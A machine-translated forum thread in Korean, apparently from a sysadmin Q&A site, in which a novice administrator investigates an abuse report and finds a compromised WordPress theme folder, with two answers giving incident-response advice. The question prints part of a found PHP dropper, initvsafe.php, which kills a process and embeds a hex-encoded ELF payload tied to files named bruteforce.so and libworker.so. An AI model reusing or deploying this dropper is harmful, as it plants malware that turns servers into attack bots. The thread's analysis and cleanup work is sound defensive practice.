
저는 가상화된 웹 서버의 초보 시스템 관리자입니다. 최근 우리는 우리 서버 중 하나가 '무차별 대입' 공격에 사용되고 있다는 이메일을 받았습니다. 메일의 내용은 다음과 유사했습니다.
인사말,
/somehost/ 남용 팀은 귀하의 네트워크, IP 주소 /my에서 공유 호스팅 서버 /somehost/.ru /ip-number/에 있는 Joomla/WordPress 제어판에 대한 대규모 무차별 대입 시도를 겪었음을 알려드립니다. -IP 주소/
지난 30분 동안 다음과 같은 시도가 1,500번 기록되었습니다.
/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
이전에 이 서버(/some-host/.ru)[/their-ip/]에서 기록된 총 시도 횟수:
====
이 메시지는 /some-company-name/ 보안 시스템에 의해 자동으로 전송되었습니다. 공개 WhoIs 서비스에서 얻은 이메일 주소입니다. 실수로 이 메시지를 받으셨다면 불편을 드려 죄송합니다. 귀하의 이메일이 이 IP 주소 또는 네트워크와 관련이 없는 경우 당사에 문의하십시오.
====
감사합니다, /somehost/ 남용팀
http:// /somehost/ 도트루
/러시아 전화번호/,
/러시아의 추가 연락처 데이터/
- 이 이메일에 대해 어떻게 생각해야 합니까? 이것은 사기입니까, 아니면 무시해서는 안 되는 중요한 메시지입니까?
"wp-login.php"가 WordPress의 PHP 스크립트라는 것이 로그에 분명히 표시되어 있는데 그들이 "Joomla/Wordpress"라고 쓰는 것이 이상하다고 생각합니다.
우리 서버에서는 Webmin/Virtualmin과 외부에서 접근할 수 없는 Squid 서버를 통해 여러 WordPress 블로그를 호스팅합니다.
iftop
한동안 교통 상황을 관찰했지만 nethogs
의심스러운 점은 보이지 않습니다. 오징어 액세스 로그는 제가 보기에는 정상적인 것 같습니다.
"보안" 로그에서 서버에 로그인하려는 시도를 많이 볼 수 있지만 액세스 권한을 얻기 위해 이를 관리하는 사람은 아무도 없습니다.
보안에서 다음 덤프를 참조하세요.
an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas
그리고 또 하나.
Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye
"누구"를 사용하면 나만 SSH를 통해 로그인했음을 분명히 알 수 있습니다.
오늘 저는 모든 Webmin 및 Virtualmin 모듈과 Squid를 최신 버전으로 업데이트했습니다.
- 우리는 지금 무엇을해야합니까? 서버가 공격에 사용되지 않도록 보호하려면 다음 단계는 무엇입니까?
- 심지어 필요한가요?
- 어떤 로그 파일이나 구성을 변경하거나 확인해야 합니까?
편집하다:
지금까지 내가 한 일:
- .
find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log
아무것도 바뀌지 않았다. - 모든 도메인에 대해 AWStats를 확인했습니다. AWStats에 따르면 단 하나의 도메인도 40MB를 초과하여 전송되지 않았습니다.
- WordPress는 공격 당일에도 최신 상태였습니다.
- 모든 Webmin 및 Virtualmin 모듈을 업데이트했습니다.
- 오징어를 업데이트하고 포트를 3128이 아닌 다른 것으로 변경했습니다. "안전한" 포트로 80, 443, 21만 남겨 두었습니다.
- Fail2ban을 업데이트했습니다.
제안된 대로 인터넷에서 서버 연결을 끊고 싶지 않습니다.손상된 서버를 어떻게 처리합니까?. 우리의 데이터는 백업되어 있으므로 현재는 안전합니다. 그러나 공격의 원인이 무엇인지 알고 싶지만 여전히 찾을 수 없습니다.
2014년 1월 15일 수정:
예상보다 훨씬 많은 데이터를 주고 받고 있다는 nethogs
것을 알 수 있었습니다 ./usr/bin/host
NetHogs version 0.8.0
PID USER PROGRAM DEV SENT RECEIVED
10267 /domain//usr/bin/host eth0 120.571 791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0 eth0 2.177 0.111 KB/sec
? root /ip-address/:39586-119.247.224.98:80 0.000 0.000 KB/sec
? root /ip-address/:55718-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:38474-184.154.230.15:80 0.000 0.000 KB/sec
? root /ip-address/:46593-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:58733-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:41154-83.170.122.1:80 0.000 0.000 KB/sec
? root /ip-address/:39996-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:39872-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:37429-144.76.15.247:80 0.000 0.000 KB/sec
? root /ip-address/:35063-216.12.197.226:80 0.000 0.000 KB/sec
? root /ip-address/:51335-153.120.33.64:80 0.000 0.000 KB/sec
? root /ip-address/:58344-64.207.178.120:80 0.000 0.000 KB/sec
? root /ip-address/:55848-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:46799-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:38110-66.155.9.238:80 0.000 0.000 KB/sec
? root /ip-address/:39713-76.74.254.120:80 0.000 0.000 KB/sec
? root /ip-address/:33814-209.217.227.30:80 0.000 0.000 KB/sec
? root /ip-address/:41009-212.113.141.212:80 0.000 0.000 KB/sec
? root /ip-address/:57027-173.11.110.117:80 0.000 0.000 KB/sec
? root /ip-address/:45436-83.222.250.186:80 0.000 0.000 KB/sec
? root /ip-address/:59143-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:43357-217.9.42.182:80 0.000 0.000 KB/sec
? root /ip-address/:32981-82.113.145.170:80 0.000 0.000 KB/sec
? root unknown TCP 0.000 0.000 KB/sec
TOTAL 122.749 791.235 KB/sec
lsof
PID에서 실행하면 WordPress 설치에 문제가 있다는 것을 확실히 알 수 있습니다.
[root@/domain/ logs]# lsof | grep 1706
host 1706 /domain/ cwd DIR 253,0 4096 10178 /home//domain//public_html/wp-content/themes/twentyeleven
host 1706 /domain/ rtd DIR 253,0 4096 2 /
host 1706 /domain/ txt REG 253,0 137592 1054438 /usr/bin/host
host 1706 /domain/ mem REG 253,0 156928 1178048 /lib64/ld-2.12.so
host 1706 /domain/ mem REG 253,0 22536 1178065 /lib64/libdl-2.12.so
host 1706 /domain/ mem REG 253,0 1926800 1178057 /lib64/libc-2.12.so
host 1706 /domain/ mem REG 253,0 145896 1178061 /lib64/libpthread-2.12.so
host 1706 /domain/ mem REG 253,0 91096 1178098 /lib64/libz.so.1.2.3
host 1706 /domain/ mem REG 253,0 358560 1051774 /usr/lib64/libisc.so.83.0.3
host 1706 /domain/ mem REG 253,0 599384 1178963 /lib64/libm-2.12.so
host 1706 /domain/ mem REG 253,0 124624 1178074 /lib64/libselinux.so.1
host 1706 /domain/ mem REG 253,0 113952 1178072 /lib64/libresolv-2.12.so
host 1706 /domain/ mem REG 253,0 1674840 1050692 /usr/lib64/libdns.so.81.4.1
host 1706 /domain/ mem REG 253,0 140568 1051828 /usr/lib64/libisccfg.so.82.0.1
host 1706 /domain/ mem REG 253,0 34696 1051827 /usr/lib64/libisccc.so.80.0.0
host 1706 /domain/ mem REG 253,0 17256 1178085 /lib64/libcom_err.so.2.1
host 1706 /domain/ mem REG 253,0 1953536 1050724 /usr/lib64/libcrypto.so.1.0.1e
host 1706 /domain/ mem REG 253,0 12592 1178067 /lib64/libkeyutils.so.1.3
host 1706 /domain/ mem REG 253,0 46368 1178081 /lib64/libkrb5support.so.0.1
host 1706 /domain/ mem REG 253,0 19016 1178989 /lib64/libcap.so.2.16
host 1706 /domain/ mem REG 253,0 944712 1178089 /lib64/libkrb5.so.3.3
host 1706 /domain/ mem REG 253,0 177520 1178083 /lib64/libk5crypto.so.3.1
host 1706 /domain/ mem REG 253,0 209120 1180550 /lib64/libidn.so.11.6.1
host 1706 /domain/ mem REG 253,0 280520 1178096 /lib64/libgssapi_krb5.so.2.2
host 1706 /domain/ mem REG 253,0 52944 1051829 /usr/lib64/libbind9.so.80.0.4
host 1706 /domain/ mem REG 253,0 75936 1052874 /usr/lib64/liblwres.so.80.0.2
host 1706 /domain/ mem REG 253,0 21152 1178987 /lib64/libattr.so.1.1.0
host 1706 /domain/ mem REG 253,0 1383368 1051772 /usr/lib64/libxml2.so.2.7.6
host 1706 /domain/ DEL REG 253,0 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host 1706 /domain/ mem REG 253,0 27424 1178071 /lib64/libnss_dns-2.12.so
host 1706 /domain/ mem REG 253,0 65928 1178073 /lib64/libnss_files-2.12.so
host 1706 /domain/ mem REG 253,0 12582912 11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host 1706 /domain/ DEL REG 253,0 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host 1706 /domain/ 0r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 1r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 2r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 3r CHR 1,3 0t0 3782 /dev/null
spamd 18546 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18548 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18549 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
을 살펴봐야 겠습니다 home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
.
단순히 2014년 1월에 변경된 모든 파일은 WordPress의 표준 Twenty Eleven 테마 설치에 없습니다. 예를 들어 initvsafe.php
, 파일 시스템에 파일을 저장하는 데 사용할 수 있는 스크립트가 있습니다 .
<?php
header("Content-type: text/plain");
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
@system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
...
답변1
아마도 합법적일 것입니다. WordPress라고 명시적으로 언급하지 않는 이유는 그것이 자동화된 메시지이기 때문입니다. 그러한 공격을 감지하고 이를 소스 소유자에게 다시 보고하는 일부 스크립트에 의해 자동으로 전송됩니다.
서버가 해킹된 경우 공격자가 가장 먼저 하는 일은 자신의 활동을 숨기기 위해 who, ls 및 유사한 명령에 대한 수정된 바이너리를 설치하는 것입니다. 그리고 로그에서 로그인 기록을 삭제하세요. 그래서 당신이 타협했을 가능성이 있습니다. 손상된 서버를 어떻게 처리합니까?무엇을 해야할지 다룹니다.
대부분 SSH를 통해 액세스한 것이 아니라 프록시 서버 역할을 하는 PHP 스크립트와 같은 것을 통해 액세스한 것 같습니다. 속하지 않는 파일이 있는지 모든 웹사이트를 확인하세요. 비정상적인 활동에 대한 액세스 로그도 확인하십시오. wordpress, phpmyadmin 등의 오래된(또는 최신이지만 보고된 취약점이 있는) 버전을 확인하세요.
답변2
rkhunter에 의심스러운 내용이 나타나는지 확인하고 싶을 수도 있습니다. 실제 문제는 일단 서버가 손상되면, 특히 Fail2ban 및 기타 패키지를 패치한 경우 증거(로그) 중 일부를 다른 시스템으로 옮기는 경우에도 서버를 오프라인으로 전환하는 것이 더 안전할 수 있다는 것입니다. Grant가 언급했듯이 로그가 임의의 트랙을 포함하기 위해 변조/삭제되지 않았는지 확신할 수 없으므로 최악의 경우를 가정하십시오.
특이한 사항이 있는지 확인하려면 Fail2ban 로그를 살펴보는 것이 좋습니다.
손상된 시스템을 다루는 데비안 핸드북 14.6부를 빠르게 살펴보고 싶을 수도 있습니다.